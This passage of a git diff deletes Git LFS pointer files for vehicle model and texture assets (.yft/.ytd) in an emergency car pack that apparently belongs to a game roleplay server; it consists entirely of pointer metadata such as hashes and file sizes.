@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:70874204ed94d712cb18407e86b6e298014e6ede8420780a209eacd3dba687b2
-size 8548779
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.yft
deleted file mode 100644
index 176495862..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:13686a17330269d45cc82007b6587bdf29499f230cffb61efb7e4896a83e1f05
-size 9294044
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.ytd
deleted file mode 100644
index 033afea59..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:3b718f5398657004a45ded9731573ae5ed6a451a52cd692924d0bb904f91bac2
-size 10695717
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe_hi.yft
deleted file mode 100644
index 040c22aa6..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoe_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:cb1de5dcaa7d5bc73ddfc23ea40e866174f6830eeb2c5aa307238657fc658640
-size 9293906
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.yft
deleted file mode 100644
index ae6a9b9a2..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:686c5e2c8effe073ddf5fe174dbfa49c57d58a4bf02c6e1daf91a77a3db23fe3
-size 8775980
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.ytd
deleted file mode 100644
index 0116a188a..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:a5b1741c44d7d22a6928e36d6d3549d1a69f245ea84bd4df9faaf446a7c27aeb
-size 11645353
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9_hi.yft
deleted file mode 100644
index 81e46e77f..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318tahoek9_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:f9c246f00915cf36a8ad306cfc9811ad0d85a2ddfb8b48860778b178c386c28a
-size 8775809
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.yft
deleted file mode 100644
index f0113c9d7..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:2e536d799fa041b04ca022205c55186f4d6f0c8312385c7d65c32e307c5ace8f
-size 14945121
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.ytd
deleted file mode 100644
index 801dd3be5..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:f382af81be83a1e4ae13e116f102e0715c8c93ad51945b830ac7f3ed39b59916
-size 10927073
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv_hi.yft
deleted file mode 100644
index 039821c85..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code319silv_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:48cc29cf9bbf83a8ac5e829b5fcdc99e074908f60e4a5f37ba4963ce26742275
-size 14945064
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.yft
deleted file mode 100644
index 2a039a363..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:e5ed8e7547f7ad396aa4a196297ee21c08e93bff71e679aa08d610494095fb22
-size 9493707
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.ytd
deleted file mode 100644
index 566784c23..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:ad35612a8194b33a32e8e576b3bc59d3206e39499eef508c5f0a97184a74dbe7
-size 7803129
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp_hi.yft
deleted file mode 100644
index 77b9e8efa..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code320exp_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:1e6ce0bd200753844e45fd0f295e341eb8e7a9fd49a67a5f5be4331df042806a
-size 9493673
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.yft
deleted file mode 100644
index 78cc94369..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:2e08ca191779de91f73779931f71d0cae9382b7ffc0d0e09b44b7869ce597bd4
-size 4148006
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.ytd
deleted file mode 100644
index 619516017..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:cce492894a6675c88eec0eba7a2d546caa68ede327ec85ea2459b7d0240b4871
-size 15164709
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw_hi.yft
deleted file mode 100644
index 9423089f2..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3bmw_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:13352bebbbb9d4a42f583e66aba2f44e97b218e92425abdd4362669db8bb89f3
-size 4148003
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.yft
deleted file mode 100644
index b16b4f6d4..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:c7d3d3a58395caf0a5c6fa360fe1eb59fc9794c1708864f09f77b1e27eee5ef4
-size 4587392
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.ytd
deleted file mode 100644
index 61966e9b4..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:ef85fdd9ec3fa016b650855fabdcffb8855f1a64eb7a6164953f0e41b23d8ff7
-size 6365517
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat_hi.yft
deleted file mode 100644
index 4b8c6df70..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3boat_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:0daebac110e8d863b90007d5311a1d10839357da94247171c77e69af00b0c726
-size 4587372
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.yft
deleted file mode 100644
index 809b3e8bd..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:6c6df8f6064c8d60a763a9dfce3f57c922dd2a14ede56a031d714378af7519e9
-size 9718521
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.ytd
deleted file mode 100644
index 456cfba28..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:2cce31c9788a1afa5d864bfc45170959ad2db80efa787cccae1a6bb64926e7de
-size 14337973
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero_hi.yft
deleted file mode 100644
index 0f965df05..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3camero_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:827525db2a430b4a3c324608b3c5c669cf84e66dec1fd3c4023c0387dc9f87cd
-size 9718424
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.yft
deleted file mode 100644
index ef51b1127..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:137ad238d6883cf91de63d22d236afad5a2cfe770c79ae1583ae4c70ccc58c67
-size 6383632
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.ytd
deleted file mode 100644
index cc64e3cae..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:b951184ed93171ec87aa4c6d281480a53eb05a5ec90e17efc8952d3004328580
-size 9557289
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap_hi.yft
deleted file mode 100644
index c76e82c73..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cap_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:70deeac404337af1b0601071495f6389cc08428208ae885c4b9fc567b0043d19
-size 6383639
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.yft
deleted file mode 100644
index 0068d8a24..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:435ecce10550d3ae41a75d3298111a6c1649019d6ea541c769bd16e406f8ae42
-size 6082219
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.ytd
deleted file mode 100644
index 1b915873c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:95ad5497ff462424e5d465fe2cc677babfb4306309af4fa81d479455bce9a419
-size 9230344
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi_hi.yft
deleted file mode 100644
index 5b873069b..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3cvpi_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:05160bcf295f618d4841792981be2a149d21ab8cd4436d20f5c2de9b31db048e
-size 6082081
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.yft
deleted file mode 100644
index b69acbfce..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:dede07804519e768525f9dd5ebf6068da98da8b171c34aadc8418a3f1a4bfb9b
-size 11054790
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.ytd
deleted file mode 100644
index f8d947975..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:f06ad6fad40558cb8e29e89b7f015d1ed164dcd4d2e10b14525623afc5fe2866
-size 13800481
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango_hi.yft
deleted file mode 100644
index 58b9fce6e..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3durango_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:78a1998b615ea207e84f1b51a743e30a2f235d85245146cfc09c7ade052c6332
-size 11054690
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.yft
deleted file mode 100644
index b45bae615..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:183653b0e8ff132d19533b2ba97745dd5d556fecc5c42851df94e1f7ae855116
-size 8993734
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.ytd
deleted file mode 100644
index 97ef4e5ed..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:83acc83ca5cad0a6c359361d2e21e407e3cab4d2188078d84554f14d574a4730
-size 10634191
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150_hi.yft
deleted file mode 100644
index 210e9c33c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f150_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:c3e49f30cb07508eb234bf9f9fca33b612d2dfd9d3eaf4030c4167665c5f3f4a
-size 8993650
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.yft
deleted file mode 100644
index 34dc5e19d..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:1343f01ee55dd45fffcac15d49c8bc80f857743576f287d1b3d4fb6d0255288a
-size 12830265
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.ytd
deleted file mode 100644
index 7ccc98faf..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:006c4620932312572bc680dc801aad9c7ae2094edf93a60b0d0708b380e8922f
-size 14930043
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250_hi.yft
deleted file mode 100644
index bb0c7b0d3..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3f250_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:ac61569f89f914b8d0bc13d00cac08fdacf9f5e5c91aef8ca6af68fb1cf96aa1
-size 12830129
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.yft
deleted file mode 100644
index a6d040560..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:1649b59febce2a5f10d41c57842039c404ff5513802e34754bf381da5c75246d
-size 7436829
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.ytd
deleted file mode 100644
index f1ba47218..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:d10d55e49d16a725bdee08fc2fa55077c714a59b9e10a329c4eb493a0d8e2026
-size 10470174
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis_hi.yft
deleted file mode 100644
index 04ddde9ec..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3fpis_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:e2d82aa78f283d841904da42bd4c77e063f8079fe5523439f254a0bd444f5342
-size 7436698
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.yft
deleted file mode 100644
index 04404339b..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:2ab861f5c8e0c9e2e830d7d03cbb150f3348b2062269b040ba6e2a6d9337cbe7
-size 7015362
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.ytd
deleted file mode 100644
index f6aebae89..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:80df1daebfa07ebf545af30b7aa962e66069ce8d2b8a331410838c7b46c8ee37
-size 10694833
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator_hi.yft
deleted file mode 100644
index 0fe5af348..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3gator_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:1a8a5db05fd54a2aa54dd97235d8ec9973b6e3f1b9cc539852a216a73ee23055
-size 7015285
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.yft
deleted file mode 100644
index e0c05e8db..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:d8e8ccf06e5e0dbc0129b5b2156c885f1f09f4a240e10eb9b36aa98d28d82f4a
-size 5312059
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.ytd
deleted file mode 100644
index 0d740dd78..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:0cfdf8532e2c6aa81345087f5e60c71c79ca3e91040cf8b7d451568a106eda82
-size 12225870
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley_hi.yft
deleted file mode 100644
index 253af7a80..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3harley_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:acfc30a0016a769ca202ae63bf8dfa2289ccd44b07eda331de9dd7a932f27ca1
-size 5312021
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.yft
deleted file mode 100644
index 61a30f794..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:bc70276c560ae1679097f0ab30f78ef2e8194510cf3a097422f8715ef6a8771c
-size 9964670
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.ytd
deleted file mode 100644
index 35b28564f..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:75a655166f456214faa75c63efa16b5beaa0aa4087573a5a20076776cf7b0370
-size 13194007
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang_hi.yft
deleted file mode 100644
index 9760d83b4..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3mustang_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:b6fe87615fbc9ed3d3337c62518a31e3a81d2a59b8e43a91675e3e4526c2a500
-size 9964572
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.yft
deleted file mode 100644
index 9c795fcea..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:2a3a90dd9e416792caa35b619676028508df003ad8126a26d2e95338827359d3
-size 8435587
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.ytd
deleted file mode 100644
index 225e07d26..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:4ab90b7971e41c0475bee3e189fe241be9c846f92c7f925b0278ecdc5ee85fd3
-size 11752533
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram_hi.yft
deleted file mode 100644
index ec7295b33..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3ram_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:ee3372f13ac0e0af203951e44e07d1d220cd1b12c14b99cdbb3602189a3479a2
-size 8435543
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.yft
deleted file mode 100644
index 2640f8f68..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:ec0d0440fc513e3170aae6b05fb3e83218d9ceb1b8aff0a5a899a6fdbdd34599
-size 9393122
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.ytd
deleted file mode 100644
index b21f56f88..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:72ee64891768a7036dd0ab666c298e9ada911ab0d432053893c5658bdba72314
-size 11277219
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado_hi.yft
deleted file mode 100644
index d311a7653..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code3silverado_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
